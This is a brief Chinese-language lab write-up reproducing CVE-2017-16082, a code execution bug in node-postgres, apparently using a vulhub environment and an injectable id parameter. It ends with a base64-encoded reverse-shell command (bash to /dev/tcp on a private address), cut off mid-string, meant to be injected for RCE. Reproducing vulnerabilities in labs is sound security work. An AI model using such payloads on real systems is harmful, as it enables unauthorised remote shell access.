node-postgres 代码执行漏洞（CVE-2017-16082）
漏洞原理请参考这篇文章：https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html漏洞复现我这里用的是vulhub的环境，启动环境后，访问http://your-ip:3000/?id=1即可查看到id为1的用户信息，当然id这里存在注入点，我们利用poc来RCE。比如我想执行命令echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMwLjEyOC8
